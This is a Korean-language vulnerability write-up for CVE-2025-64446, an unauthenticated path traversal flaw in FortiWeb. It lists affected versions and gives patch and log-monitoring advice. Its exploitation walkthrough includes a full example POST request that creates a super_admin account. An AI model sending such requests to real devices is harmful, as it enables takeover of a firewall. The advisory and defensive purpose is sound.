
CVE-2025-64446

원격 공격자가 FortiWeb 장치에 관리자 계정을 생성할 수 있는 중요 인증되지 않은 취약점.
CVE-2025-64446는 FortiWeb 웹 애플리케이션 방화벽 관리 인터페이스의 심각한 상대 경로 탐색 취약점입니다.
인증되지 않은 원격 공격자는 이 결함을 악용하여 인증을 우회하고 전체 권한을 가진 새 관리자 사용자를 생성하여 장치를 완전히 장악할 수 있습니다.
| 제품 | 영향을 받는 버전 | 수정된 버전 |
|---|---|---|
| FortiWeb 8.0 | 8.0.0 – 8.0.1 | 8.0.2 이상 |
| FortiWeb 7.6 | 7.6.0 – 7.6.4 | 7.6.5 이상 |
| FortiWeb 7.4 | 7.4.0 – 7.4.9 | 7.4.10 이상 |
| FortiWeb 7.2 | 7.2.0 – 7.2.11 | 7.2.12 이상 |
| FortiWeb 7.0 | 7.0.0 – 7.0.11 | 7.0.12 이상 |
권장 사항: 가능한 한 빨리 최신 패치 버전으로 업데이트하세요.
대상 식별
공격자는 공개적으로 노출된 FortiWeb 관리 인터페이스(일반적으로 HTTPS 포트 443 또는 8443)를 스캔합니다.
악성 요청 제작
익스플로잇의 핵심은 상대 경로 탐색(../)과 특수하게 조작된 URL을 결합하여 내부의 인증되지 않은 CGI 엔드포인트에 도달하는 것입니다.
취약한 엔드포인트 패턴:
/api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
익스플로잇 전송
공격자는 JSON 페이로드가 포함된 단일 POST 요청을 보내 새 관리자 계정을 생성합니다.
예제 익스플로잇 요청:
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: target-fortiw eb.example.com
Content-Type: application/json
{
"name": "hackedadmin",
"password": "AttackerPass123!",
"access_profile": "super_admin",
"type": "local"
}
성공적인 악용
성공하면 FortiWeb은 사전 인증 없이 새 관리자 계정을 생성합니다. 그런 다음 공격자는 새로 생성된 자격 증명으로 로그인하여 WAF에 대한 완전한 제어권을 얻을 수 있습니다.
관리 API가 경로를 제대로 검증하지 못하여 요청이 레거시 fwbcgi 바이너리로 되돌아가도록 허용하며, 이 바이너리는 특정 작업에 대해 인증을 적용하지 않습니다.
fwbcgi, ../ 또는 비정상적인 관리자 생성 시도가 포함된 요청에 대해 로그 모니터링오직 교육 및 방어적 보안 연구 목적으로만 사용하세요.
사이버 보안 커뮤니티를 위해 ❤️로 제작되었습니다.
최종 업데이트: 2026년 4월